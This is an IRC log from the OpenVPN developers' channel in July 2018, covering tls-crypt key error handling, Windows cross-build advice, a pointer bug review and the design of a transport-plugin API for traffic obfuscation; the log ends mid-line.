thanks! 14:48 <@cron2> we actually have a trac ticket on autostarting and lack of documentation... 14:48 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:50 < jkunkee_> NumInstances++ 15:57 <@vpnHelper> RSS Update - gitrepo: Move file-related functions from misc.c to platform.c <https://github.com/OpenVPN/openvpn/commit/b7bea782f3356dbd82613dc8f38fd4ef0bc714ca> 16:37 < jkunkee_> That moment when an optional interface has required pieces... 21:06 <@ordex> thanks for the review syzzer ! --- Day changed Fri Jul 06 2018 00:48 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:48 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:19 <@ordex> syzzer: at the moment the "FATAL" logic on keyread is already there. therefore your openvpn client could already exit if you attempt a reconnection, you have no persist-key and your key has been removed while openvpn was running 01:19 <@ordex> do you think I should change that and convert it to a "try again and again" ? because that is what's going to happen if we don't make it fatal anymore (as the error might just be permanent and we might have no new blocks to try - and even if we do they may have similar issues) 01:39 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 02:45 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:45 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:06 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 11:16 < kitsune1> ordex: Not sure this applies here, but from a UI/GUI point of view its better to try again and again rather than a fatal error. Then the user can decide when to abort or let the user edit the config and do a SIGHUP etc. 11:17 <@ordex> kitsune1: the problem is that if openvpn keeps on trying on its own the ui may not even know that something went wrong, no? especially if openvpn is just running in background 11:20 < kitsune1> The GUI will show conenction is not established (i.e stay in some "trying" state) and the user can then press a button to abort or check teh logs and edit the config or whatever. A GUI knows the current state through management. 11:23 < kitsune1> There is a 5 seconds delay between restarts and also an exponential backoff kicks off in some cases, so there is no harm in retrying for ever.., is n't it? 12:34 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:34 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:29 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:22 < blanu> Hello everyone! Is Antonio on this channel? I wanted to chat with him about this patch we've been working on. 14:23 <@cron2> Antonio = ordex, but most likely he's asleep now (time zone...) 14:24 < blanu> Cool thanks! 14:24 <@ordex> cron2: don't make too strong assumptions! 14:24 <@cron2> ordex: hush, time to sleep now 14:24 <@cron2> :) 14:24 <@ordex> agreed :D 14:24 < blanu> ordex: Oh hi! 14:24 <@cron2> blanu: there you go :) 14:25 < blanu> Just wanted to make sure you got my email and see if you had any thoughts. 14:26 <@ordex> blanu: yeah I did - sorry for not replying. I wanted to have a chat with the others last wednesday (during the meeting here on IRC), but due to an unplanned trip I did not join 14:26 <@ordex> so it remained pending :( 14:26 <@ordex> I'll get back to you on Monday for sure - is that ok? 14:26 * cron2 excercises his new job title of "senior patch rejector" and opposes everything! 14:27 < blanu> Sure thing! I'd be happy to come by the meeting. Is it every Wednesday? 14:27 <@cron2> "most" 14:27 <@ordex> what cron2 says :) 14:27 <@cron2> if too many of us can't make it, we skip it - but that's rare 14:27 < blanu> Okay cool well I'll come by next Wednesday and see if anyone wants to discuss. 14:28 <@ordex> it's normally at 11:30CEST 14:28 <@ordex> sure please do 14:28 <@ordex> that would be a good chance i think 14:28 < blanu> Also, does anyone have experience with the Windows cross-compile system? I have been having trouble getting it to work and I think the documentation that is available online might be outdated. 14:28 * cron2 sniggers 14:29 <@ordex> we normally use openvpn-build for that, but you can actually just use mingw and compile your code with that - but cron2 and mattock are probably the people to poke 14:29 < blanu> We want to make sure our patch compiles on Windows, as there is some Windows-specific socket code in there. 14:29 <@cron2> (as in: ordex tried for a few days to get it to work, it produced binaries but those just refused to run... so he's my cross-build system now) 14:29 <@cron2> blanu: first: use ubuntu 16.04. This works. Everyhing else might or might not work. 14:29 <@ordex> right. If you only want to compile test it, you could just set CC=x86_64_...ming32_.. whatever it is 14:30 <@cron2> then: follow the instructions in our wiki - this works :) 14:30 < blanu> I was wondering if perhaps you had an automated system for doing Windows builds, like with a build server, and if we could get our branch added to the automated builds. 14:30 <@ordex> yeah - I failed at the first step: "use Ubuntu" :D 14:30 < blanu> Ah well, Ubuntu 16.04, that is good advice. 14:31 <@cron2> blanu: we have, but it's building from a non-public repository (and I admit I have no idea how to kick the windows builder) 14:31 <@cron2> mattock knows 14:31 <@ordex> we also have travis-ci that just builds 14:31 <@ordex> if that is enough 14:31 <@cron2> oh, good point - indeed 14:31 <@ordex> you can freely use it as it is in the rpeo 14:31 <@ordex> just login travis-ci.org and enable your openvpn fork to be built 14:31 <@ordex> the .travis-ci.yml file will trigger the build 14:32 < blanu> Ah, that sounds promising! And does it do the Windows cross-compile too? 14:32 <@ordex> yes 14:32 < blanu> Great! This sounds very helpful. 14:32 <@ordex> it does not does the "full build with driver and installer" but at least it cross compiles 14:32 <@ordex> does not do* 14:33 < blanu> Yeah that's fine for our needs. 14:55 < tincantech> blanu: "see Automated openvpn-build setup on Ubuntu" here:https://community.openvpn.net/openvpn/wiki/SettingUpGenericBuildsystem#no1 14:55 <@vpnHelper> Title: SettingUpGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 14:55 < tincantech> worksed for me 14:55 <@cron2> I think that this is about what I did (and: Ubuntu) 14:56 < tincantech> what did you do ? 14:56 <@cron2> "SettingUpGenericBuildsystem" 14:57 < tincantech> i have tested that script a few times and it worked everytime for me 14:58 < tincantech> maybe i should check again .. 15:03 <@cron2> it nicely worked for me as well. It didn't for ordex, but that seems to be "not Ubuntu" 15:07 < blanu> We did try those instructions. However, the instructions do not seem to include the important caveat, "only works on Ubuntu 16.04" and so we didn't do that part. 15:07 < tincantech> right .. yeah, that should probably be mentioned somewhere on the "prerequisits" page .. because I think it has become abundantly clear that it does only work on ubuntu-16.04 currently .. 15:09 < tincantech> blanu: if you do get it working, the --build-depache --use-depcache does work but it errors out in an unusual way 15:10 < tincantech> there is a patch here wich resolves that : https://github.com/OpenVPN/openvpn-build/pull/132 15:10 <@vpnHelper> Title: Fix build-complete logic by TinCanTech · Pull Request #132 · OpenVPN/openvpn-build · GitHub (at github.com) 15:12 < blanu> Good to know! 15:13 < tincantech> all feedback appreciated about your success or lack there of the build system :) --- Day changed Sat Jul 07 2018 00:57 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:57 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:03 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 01:11 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:11 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:23 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 02:45 <@ordex> cron2: what's your take on my earlier question? summary: we have 2 connection blocks with 1 tls-crypt directive each and at some point the tls-crypt keyfiles used by the two blocks are deleted from the file system. Now a reconnection happens and openvpn is not able to load the keyfile to setup the tls-crypt context. Should openvpn go FATAL and exit or should be just fail that connection block and try 02:45 <@ordex> the next? What if we have only one global tls-crypt directive (..not easy to verify) and it is not available anymore? we keep on trying even though this will never work? Right now any keyfile reading error leads to FATAL. 02:51 <@ordex> kitsune1: just to clarify, regardless of the "tls-crypt per block" thing that I am implementing, you'd be in favour of changing the openvpn behaviour to never go FATAL when some key material is not accessible anymore on the File System? Or you see an added value in this only when multiple blocks are involved (each with its own key material) 03:37 <@cron2> the current logic regarding file access is (normally) 03:37 <@cron2> - check if all referenced files are there on startup, and FATAL if something is missing 03:38 <@cron2> - so "right in the middle of things", files *should* never miss - but if they do, it's not something that can be "expected" - so FATAL would be ok for me 03:40 <@ordex> ok, that makes sense. syzzer (and kitsune1) were objecting that maybe we could just abort connecting to that particular connection block and still see if we have everything for the next one, instead of going FATAL right away 03:41 <@ordex> I'd rather still go FATAL right away, because it means that "somebody messed things up" because "everything was fine when openvpn was started" 03:41 <@cron2> if we have seen the key file before (<- this is prerequisite!) - yes :) 03:41 <@ordex> yup, they keyfile check is still there at startup 03:42 <@ordex> ok. I'll keep it as it is then 03:42 <@ordex> thanks for the feedback! 03:50 <@cron2> ordex: wrt ipv6-only on iOS - since the same code base works on Android, I'm fairly sure this is something funky in the VPN API... but let's see what Kristian comes back with regarding IPv6-only on Wifi... 03:51 <@ordex> cron2: yeah I also think it's something in the iOS VPN API (NE). The log *may* show what step is missing 03:52 <@ordex> maybe some logic deciding when/how to add the default route is missing (?) 03:52 <@cron2> (IPv6-only *inside* the tunnel is actually not a relevant discussion here - people are likely to ask for IPv4 inside the tunnel, and possibly IPv6... 03:52 <@cron2> my gut feeling is more like 03:52 <@cron2> "we know we're in a v6-only environment, so we just turn off v4!" 03:52 <@cron2> "oh, the VPN is asking for v4? we don't care, there is no v4 here!" 03:52 <@ordex> (yeah, but I wanted to advertize a bit the work we have been doing because this guy "cares" about IPv6 :P) 03:52 <@ordex> ah, mh 03:52 <@cron2> and if they have no v6 *inside* the tunnel, it might then totally fail 03:52 <@ordex> I hope it is not that bad 03:53 <@cron2> let's see what he comes back with :-) 03:54 <@ordex> yup, the answer to "Is IPv6 inside the tunnel working? Or "nothing at all" should help to clarify :) 03:54 <@ordex> do you know who this guy is working for? 03:56 <@cron2> no idea, but a number of carriers are going that route 03:56 <@cron2> I wonder why we haven't heard from T-Mobile US yet... they do IPv6-only + DNS64/NAT64 since ages 03:58 <@ordex> maybe everything just works and this guy managed to hit some particular corner case on his own.. 03:58 <@ordex> :p 07:11 <@syzzer> ordex: are you sure free_buf_gc() works? 07:12 <@syzzer> struct gc_entry **e = &gc->list; 07:12 <@syzzer> if ((uint8_t *)((*e) + sizeof(*e)) == buf->data) 07:12 <@syzzer> That sizeof results in the size of a pointer, right? 07:12 <@syzzer> Looks like to don't need the double pointer at all 07:16 <@syzzer> ah, no, you need the double pointer to avoid having a 'prev' variable 07:16 <@syzzer> but then I think you should use sizeof(**e) 07:17 <@syzzer> (smells like this needs a unit test ;-) ) 07:35 <@cron2> +1 08:27 <@plaisthos> OS X has even a devloper mode for VLAN where it simulates a DNS64 and NAT64 network to help developers 08:27 <@plaisthos> just 3 clicks and you have a NAT64 environment to test your mobile apps 09:36 <@ordex> syzzer: yes - I missed one '*' 09:36 <@ordex> I changed that part several times and at the end I forgot it 09:36 <@ordex> and yes, a unit tets is a good idea, otherwise you have to trigger a failure to test that codepath 11:53 <@ordex> ops.. found another mistake in the pointer logic.. 12:16 <@ordex> syzzer: am I wrong or you did not push any branch containing the latest version of the tls-crypt-v2 patches? 12:17 <@ordex> well, not a big deal..pw will pull all of them in one go when i tell it to apply the last one 12:18 <@ordex> indeed it did - awesome :) 12:18 <@ordex> cron2: did you know that? git pw patch apply $id-of-the-last-patch-in-a-series will automatically apply the entire series with one command 12:18 <@ordex> :) 12:18 * ordex hides again 13:22 <@syzzer> ordex: no, I didn't push it to github yet 13:36 <@cron2> ordex: didn't know, sounds useful, but is not matching our workflow... 19:54 <@ordex> cron2: if you don't want to do that, there is a --no-dep option to specify. just saying that if you *want* to merge the entire series (i.e. for testing) just ask git-pw to apply the latest patch :) 21:57 <@ordex> hopefully this is the latest version of 1/2 21:57 <@ordex> :p 22:14 <@ordex> kitsune1: your google-to-human interface is requested again :P --- Day changed Sun Jul 08 2018 12:59 < kitsune1> ordex: and was benevolently taken care of by a good samaritan :D 17:23 < kitsune1> and more.. 21:44 <@ordex> :D --- Day changed Mon Jul 09 2018 03:30 <@cron2> moin 04:24 <@ordex> moin moin 05:16 <@dazo> cron2: hey! Did you get the pm msg from nstolyarenko last week? with contact details? (regarding test certs and t_client.rc) 05:16 <@dazo> or you've just been too busy? :) 05:37 <@ordex> everybody wants a piece of cron2 \o/ 05:47 * cron2 asked for "establish e-mail contact" and got a privmsg on IRC. But yeah, I got the details :-) - just didn't have time yet to roll anything 06:09 <@dazo> ahh, sorry! I misunderstood "establish e-mail contact" .... took at as "give me an email address" 06:36 <@cron2> what I hoped for was actually a "trusted introducer" thingie with dazo sending an e-mail to both parties. But what I have now is good enough (e-mail @openvpn), so I'm fine 07:49 <@ecrist> tincantech: pong. Sorry for the lag, I've been on vacation. 07:52 < tincantech> ecrist: nice ;) .. i sent you email: "Easyrsa3 .. Linux weirdness" 08:00 <@ecrist> ok, I'll get to it sometime today 08:26 <@ordex> cron2: how do you feel about the next ipv6-only patch? :] I know you wanted to test it on your automated server thing, but let me know if there is something else I can do 08:27 <@ordex> (this is just a ping :P) 08:35 <@cron2> ordex: people wanted me to spend time with family and customers (AGAIN!!) 08:35 <@cron2> $soon 08:36 <@ordex> I can understand cumstomers...but family?!!! 08:36 <@ordex> :D 08:36 <@ordex> ;P kidding of course 08:48 * dazo sends hordes of kids in ordex direction :-P 08:48 <@ordex> :D --- Day changed Tue Jul 10 2018 01:45 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:45 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:20 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 02:46 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:46 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:31 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 06:21 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:21 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:44 <@cron2> most likely I won't make tomorrow's meeting 08:44 <@cron2> customer appointment 08:45 <@ordex> oky 08:53 < eworm> cron2: You provided access for the fbsd machine, no? 09:16 <@cron2> ordex: there are about 4 "the freebsd machine"(s) :-) - which one, and for whom? 09:17 <@cron2> fbsd10 has accounts for syzzer and eworm 09:17 <@cron2> ubuntu1604 has account for ordex :) 09:17 <@ordex> eworm: ^^ it was for you 09:17 <@ordex> :P 09:17 <@cron2> ah 09:17 * cron2 was confused - eworm: yes! 09:18 <@cron2> fbsd10.ov.greenie.net 09:19 < eworm> Can you change my source address, please? Coming from 195.201.174.174 now. 09:21 <@cron2> eworm: still no v6? 09:21 <@cron2> should work now 09:22 < eworm> cron2: My provider changes IPv6 prefix at reconnect... :-/ 09:22 < eworm> cron2: Thanks a lot! 09:22 <@ordex> hmm dynamic IPv6.. 09:23 <@cron2> eworm: well, your provider also seems to change v4 address :) 09:23 <@cron2> so, "don't reconnect!" 09:23 < eworm> cron2: I moved to a new server. ;) 09:24 <@cron2> and no v6 on the server? 09:29 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 09:34 < eworm> Actually no, as my jump host is a container with private IPv4 addresses only. 09:34 < eworm> The server itself and the reverse proxy do have IPv6 addresses. ;) 10:41 <@plaisthos> my dsl also changes ipv4 and ipv6 on reconnect 10:41 <@plaisthos> which hash the side effect of all devices in the LAN getting new ipv6 addresses 11:32 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:32 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:03 <@mattock> do we want a meeting tomorrow btw? 14:03 <@mattock> I don't really have much to report on tap-windows6 14:03 <@mattock> will have to setup Server Core instance 14:10 * cron2 will be at a customer site (most likely) 15:00 <@mattock> ok 15:08 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 20:06 <@ordex> mattock: cron2 dazo: I wanted to talk about Jigsaw project and Brandon (from operator foundation) may join too --- Day changed Wed Jul 11 2018 01:33 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:33 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:02 <@cron2> ordex: you said that, but I might still not make it... at a customer site (sort of "emergency change", they wanted this done 3 weeks ago but various suppliers did not do their job) - it might be done at 10, in which case i can make 11:30 at the other end of the city, or "12" in which case I'll miss it anyway... 02:03 <@ordex> yup, no worries 02:03 <@ordex> I'll pester dazo anyway to extract as much info as I can 02:03 <@ordex> ;P 02:15 <@cron2> all for pestering dazo :-) 03:04 <@cron2> bah, ordex beat me to ACKing [PATCH v2 2/9] Move execve/run_script 03:04 * cron2 had done a cusory review already, but then got distracted :) 03:04 <@ordex> well, double ack is not bad :) 03:11 <@cron2> "where should the code live" is a good question - I have the suspicion that it will live "everywhere" 03:12 <@ordex> same here, this is why I had the feeling we can't just give them a straight answer...but more like: probably everywhere, just do what you feel to be right 03:12 <@cron2> so maybe a new module "transport-plugin.c" that does the actual "plugin machinery" (loading, plugin selection, callout, ...) and then everything that needs to use the transport plugins has a single-line callout to "something in transport-plugin that does the work" 03:13 <@ordex> hmm 03:13 <@cron2> (which could be an inline function that checks for "do we have a plugin at all?" in the fast path) 03:13 <@ordex> oh yeah 03:13 <@ordex> yap 03:13 <@ordex> this sounds like a good idea 03:14 <@ordex> for the plugin interface, I think that editing openvpn-plugin.h{,.in} is a must 03:14 <@cron2> unavoidable :) 03:14 <@ordex> goed 03:14 <@ordex> I'll se what the other think about this and then shoot them an email 03:14 <@ordex> *others 03:15 <@cron2> right now things look promising :-) - the superimportant change was done in 7.5 minutes. Now I'm somewhat "still hanging around to see if something broke" 03:16 <@cron2> I hate it if I say goodbye and cycle across town, just to be called an hour later "oh, our banking app is broken now! can you come back!"... 03:16 <@ordex> :D 03:17 <@ordex> yeah 04:36 <@cron2> so, do we meet? I think mattock hasn't sent an invitation, so, formally "no" 04:42 <@ordex> seems so 04:59 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 11:02 <@ordex> *yawn* 11:11 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:11 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:15 < blanu> ordex: So regarding where the code should live, there is a piece of state that we have, which is the vtable for the transport plugin callback methods. We need to store that state somewhere. 12:15 <@ordex> blanu: I just finished discussing this on a call with the other developers 12:16 <@ordex> blanu: as in where the code should phisically be, we hope the code can be isolated as much as possible in a file, i.e. transport-plugin.c and probably share something with plugin.c itself 12:16 <@ordex> while trying to minimize the changes to the rest of the code by introducing only "hooks" for what is possible 12:17 <@ordex> blanu: when you say the "vtable" is this the table of the functions exported by the plugin? 12:17 <@ordex> dazo: you around? 12:18 <@dazo> ordex: I am 12:18 <@ordex> dazo: maybe you can help a bit about the shape of the plugin code ^^ 12:18 <@dazo> right :) 12:20 <@dazo> blanu: I haven't looked at your code in a very long time .... and I don't recall all the details yet ... but how are these transport plugins going to be loaded? From what I've understood, you will use --plugin as the main loader, and then have some --transport-plugin option (or something similar) for different connection blocks where the plugin to use will be enlisted, is that right? 12:20 < blanu> So the plugin exports the standard plugin API functions. For transport plugins, we needed some new functions. So what we do currently is we added one new plugin API function which returns a struct with function pointers to our special transport API functions. 12:21 <@dazo> Can you pastebin that/those struct/s? 12:22 < blanu> dazo: Yes, that's the idea. So the plugins are loaded normally, but then are associated with connection blocks. So we need a place to put this per-connection-block state. 12:22 <@dazo> right 12:23 * dazo is the one who designed and implemented the v3 plug-in API many years ago 12:23 <@dazo> ... so I do know the "normal" plug-in API fairly well :) 12:24 <@ordex> I guess we need a list of transport-plugin in c1 maybe? and then link them in the various connection entries? 12:25 < blanu> So here is where our transport callback vtable is defined: https://github.com/OperatorFoundation/openvpn/blob/operator-2017a/include/openvpn-vsocket.h 12:25 <@vpnHelper> Title: openvpn/openvpn-vsocket.h at operator-2017a · OperatorFoundation/openvpn · GitHub (at github.com) 12:25 < blanu> struct openvpn_vsocket_vtab 12:26 < blanu> We considered instead adding all of the functions to the plugin API, but at the time we thought maybe it would maybe be a smaller change to just add one function to fetch this vtable structure. 12:27 <@ordex> it makes sense imho, there might be more "specialized" plugins in the future and we probably don't want to keep on adding *all* the new functions to the plugin struct 12:28 < blanu> Yes, this was our thinking. 12:28 < blanu> So is there a per-connection data structure we could extend to add our state? 12:29 <@ordex> yup, the connection_entry 12:29 <@ordex> there should be a linked list of those 12:29 <@dazo> (plugin API struct ) yeah, that would be messy ... but would be nice if the API could be somewhat similar to what we have as well 12:29 < blanu> What file contains this definition? 12:29 * dazo ponders 12:29 <@dazo> what ordex says 12:29 <@ordex> blanu: options.h 12:30 <@ordex> but I am wondering...this is more a "setting thing" 12:30 <@dazo> and ... what about server side? how is things handled there? 12:30 <@ordex> not a runtime state holder I'd say 12:30 <@dazo> (config file wise) 12:30 <@dazo> yes, connection_entry is a setting thing 12:30 <@ordex> dazo: I guess in that case we prevent per-connection transport plugins 12:30 <@ordex> and we only accept a global one 12:30 < blanu> Server-side is the same as client-side. Both sides need the same transport in order to communicate. 12:30 <@dazo> yes 12:30 <@ordex> (which will be mapped to one connection entry anyway) 12:31 < blanu> Ah I see what you mean. 12:31 <@dazo> yes, there will always be at least one connection_entry nowadays 12:31 <@ordex> yap 12:31 <@ordex> blanu: I think it may makes sense to store a pointer to the vtable in connection_entry, but any runtime status should probably go somewhere else 12:32 <@ordex> like in c2 probably..where we keep session state 12:32 <@dazo> okay ... and idea 12:32 <@dazo> transport plugins are initialized via openvpn_plugin_open_v3() .... where it returns a OPENVPN_PLUGIN_TRANSPORT (or similar) mask flag in what the plugin supports 12:32 < blanu> Yes that makes sense. The vtable is really more like configuration state than runtime state. You just need to know which functions are associated with which connection block. 12:33 <@dazo> The plugin loader in plugin.c will then populate a separate plug-in list of transport plugins in this case 12:33 <@dazo> which will then be used as the look-up reference when parsing connection_entry .... where this could then point at the transport_plugin element already loaded 12:34 < blanu> This all makes sense to me. 12:36 * dazo dives into some code 12:38 <@dazo> struct openvpn_vsocket_vtab makes a lot of sense ... so that would then typically be initialized inside the connection_entry scope ... if it is NULL, then no transport plugin is enabled 12:39 * dazo is commenting without having the full scope view yet .... sorry if it is already like this or very obvious 12:39 < blanu> This is very helpful, thank you! 12:40 < blanu> So the other thing I'm wondering about is how we can access this per-connection configuration from inside of socket.c, as this is where the hooks are to intercept and inject packets. 12:41 <@dazo> plaisthos, ordex: Do you recall how the session context is tied to the socket in use? 12:41 <@ordex> dazo: what d you mean for "session context" ? 12:42 <@ordex> I think c2 is the context and c2.link_socket is the socket in use? 12:42 <@ordex> or something around those lines 12:42 <@ordex> yeah c2.link_socket 12:42 <@dazo> iirc, tls_multi is the top level context for a single session 12:43 < blanu> In the old patch, we were keeping everything on the socket, so it was was to find. 12:43 <@ordex> that is on the server side 12:43 <@dazo> ahh 12:43 <@ordex> then each tls_multi has its own c.c1/c2 and it becomes the same as the client 12:43 <@dazo> right 12:43 <@ordex> blanu: c->options->ce is the connection entry in use 12:44 <@ordex> c is the upper level context 12:44 <@dazo> what ordex says! 12:44 <@ordex> I am not sure if there are other links to options (I don't think so) 12:44 <@dazo> (btw ... if you generate doxygen docs with graphs, you get pretty good overview over the relation between all structs) 12:44 <@ordex> (dazo: I just have some fresh bits of this because of the multiport patchset I have worked on :P) 12:44 <@ordex> and can you also make sense out of it? :D 12:44 <@dazo> :) 12:45 <@dazo> most of the time, yes ;-) 12:46 <@ordex> hehe cool 12:46 < blanu> So I see in socket.h that link_socket_info has a const struct plugin_list *plugins; 12:47 < blanu> Would it make sense to add a transport_plugin field there? 12:47 <@dazo> https://imgur.com/a/aGtHNO9 ... click on it for better colors 12:47 <@vpnHelper> Title: Imgur: The magic of the Internet (at imgur.com) 12:48 <@ordex> blanu: yeah that should be a link to c->plugins (the original list) 12:48 <@ordex> blanu: do you think you need the entire list? or maybe at that point you only need the selected one ? 12:48 <@ordex> ah I think you were suggesting the latter 12:49 < blanu> Just the selected one should be fine. You can only use one transport per socket. 12:49 <@ordex> yap 12:49 <@dazo> Hmmm .... I do wonder if we should rather have a separate list, similar to c->plugins but for transport plugins .... as these plugins behaves differently 12:49 <@ordex> yeah probably 12:49 <@dazo> "normal" plugins are called via openvpn_plugin_func_vX() from OpenVPN's context 12:50 <@dazo> I don't see that as feasible in for transport plugins, as that *func_vX() function would need to dispatch it further .... which would be a performance hit 12:51 <@cron2> for the per-packet functionality, we definitely need a top-level "shall I call this?" flag. this could be a function pointer (if != NULL -> call) or a boolean 12:51 <@cron2> but something very direct 12:52 <@dazo> yes, that would typically be checking if the pointer to a struct openvpn_vsocket_vtab is NULL or not 12:52 < blanu> Yes, we looked into overriding openvpn_plugin_func_vX() but would couldn't figure out a good way to do it in this specific case because the argument and returns types we need are so different. 12:52 <@dazo> if not NULL, then call the properly defined function inside that struct 12:53 <@cron2> that would be a double-check then... (not all plugins will need all functions) 12:53 <@cron2> a simple xor plugin will not need connect/shutdown, while a "use a special proxy, then provide a normal socked FD" plugin might not need read/write functions 12:53 <@dazo> no, if struct openvpn_vsocket_vtab is not NULL ... then all functions inside that struct must be defined 12:53 <@dazo> no extra check 12:54 <@cron2> that does not make sense 12:54 <@cron2> well 12:54 <@cron2> you could have it default to the "normal" openvpn functions, of course 12:54 <@cron2> in which case this approach works for me 12:54 < blanu> Yes we have something like this in the old patch. I think it will just need a little reworking. https://github.com/OperatorFoundation/openvpn/blob/operator-2017a/src/openvpn/socket.h - we have openvpn_vsocket_handle_t indirect; on link_socket, which is our vtable. 12:54 <@vpnHelper> Title: openvpn/socket.h at operator-2017a · OperatorFoundation/openvpn · GitHub (at github.com) 12:56 <@dazo> cron2: yeah, I was thinking to not touch current code if this transport plugin is not defined .... if defined, then use those functions instead 12:57 <@cron2> dazo: as long as it works for "a plugin does not need to implement every single function if it does not need it", works for me - like, initialize the struct with our standard processing functions, and a plugin can grab "some or all" of them 12:57 <@ordex> do you think it is really possible to "isolate the current openvpn logic" in plugin-like functions to be used as initializers? 12:58 <@ordex> well, maybe yes 12:58 <@cron2> if not, we'll have to cope with "this plugin does not want to override send(), so fall back to standard path" 12:58 <@cron2> and of course it is possible :-) - it might be a bit more work if you want to *always* jump via a function pointer 13:00 <@ordex> yeah, that's a good point. do we want? :D a per-packet jump might introduce non-negligible delay 13:00 <@dazo> in regards to send/recv ... those will always need to be coupled .... request_event/update_event/pump seems more to be event handling ... and bind/close would need to coupled 13:01 <@cron2> not necessarily so - see the proxy example above, close would still be "close()", just "how do I get the socket pointing where I want it to" would be changed 13:01 < blanu> So currently we set something on the socket as to whether it is a transport-enable socket or not. What we did was define a new protocol type INDIRECT, and so all of the socket handling code already has branches for the protocol, and we just added a case for this new protocol type in each bit of socket handling code. So there is no additional overhead if transports are not enabled for the socket. 13:02 <@cron2> way too special case 13:02 <@cron2> see above for examples on what a transport plugin might do 13:03 <@ordex> if we use the transport-plugin option per CE we don't need the indirect protocol, no? 13:03 <@cron2> right. Touching "protocol" is not the proper way forward (which we covered last time already) 13:04 <@cron2> like, an xor-stream-obfuscator might do tcp or udp just fine 13:05 < blanu> Right so this was part of the feedback was to replace the indirect protocol with the transport-plugin option as a way of enabling transports. My point is just that we have code in place for checking something and branching either to the vtable function or to the normal function. 13:06 <@cron2> yes :) 13:06 <@cron2> as long as this isn't putting assumptions anywhere, like "if you have a plugin, it MUST implement all possible functions" 13:07 <@cron2> this is my point - how it's implemented in the end, there are multiple ways that should all be halfway sane 13:07 <@dazo> well, I agree we don't need to require all ... but there are groups or sets for functions, which needs to be tied together in tandem (like send/recv) 13:08 <@cron2> why? 13:08 <@ordex> do we care to make such assumptions? we can just let the plugin implement what it thinks it needs. if it doesn't work then it's a broken plugin :D 13:08 <@dazo> so to avoid doing a double check (is transport-plugin enabled + is that function enabled) ... we either need some kind of "feature mask" or to implement the default openvpn behaviour via function pointers in such a struct as well 13:08 <@cron2> (I do not see an immediate example where you'd want only send or only receive, but I do not see the benefit in this assumption) 13:09 <@cron2> we could make it a single check for the critical path - "if function_pointer_send != NULL call function_pointer_send()" 13:09 <@dazo> if sendmsg() mangles a packet .... recvmsg() need to demangle it 13:09 <@cron2> this is send and receive only anyway 13:09 <@ordex> i think we'll need 2 quick checks anyway 13:10 <@ordex> but i might be wrong 13:10 <@cron2> fast path is send/receive 13:10 <@cron2> everything else can take a few 100 cycles just fine 13:10 <@dazo> then the event handling, which I admittedly do not have any good overview of, will also need to be somewhat carefully implemented in the plugin as well ... to allow a plug-in to halfway implement the needed code would not be much useful (rather cause support noise) 13:11 <@ordex> maybe for send/recv we should have separate pointers which can directly be referenced without passing through the vtable? 13:11 < blanu> Ah, I see what you're saying. I don't think there are any functions in the transport API that could be optional except for perhaps close. However, it's possible for a plugin to return a vtable will NULL entries, so we have to check for that. 13:11 <@dazo> yeah, send/recv is the most performance sensitive ones .... with the event stuff coming close up as the second ones 13:11 <@cron2> what ordex say - not as pretty, but good enough 13:12 <@cron2> blanu: please see above for examples. 13:12 <@cron2> (shall I feed this to vpn-helper to be repeated on demand?) 13:12 <@cron2> the most obvious is the xor-stream-obfuscator: only send/receive are needed, nothing else 13:12 <@cron2> and this is the most frequently asked-for functionality here :) 13:13 <@ordex> maybe the vtable might be stored in the CE and then the link_socket might have actual pointers such as "override_send/recv/etc/etc" which ca ndirectly be checked 13:13 <@ordex> at that point the bond has been made 13:13 <@dazo> +1 13:14 <@cron2> I wonder about events - lack of imagination 13:15 <@ordex> blanu: there might be several obfuscation plugins which are only doing "traffic mutation" and not real "transport". those won't likely require anything else other than send/recv 13:15 <@cron2> the xor obfuscator or "connect via proxy" won't need special events. So what can you/we come up that would need events, and what sort? 13:15 <@cron2> we might need timers 13:15 <@ordex> maybe we should ask blanu what is his user case for those events API 13:16 <@ordex> *use case 13:16 <@ordex> (Well, I did ask already :P implicitly) 13:16 <@dazo> I suspect manipulating timers is getting more and more important, to avoid timing analyzis ... making the traffic stream appear more like visiting web sites vs streaming a movie 13:17 < blanu> What we have tried to do in our design is to balance what would be a reasonably small patch to OpenVPN and the needs of the typical transport design as currently deployed by other apps that use transports successfully. 13:18 <@cron2> so what do "typical transport designs" need, event-wise? 13:20 < 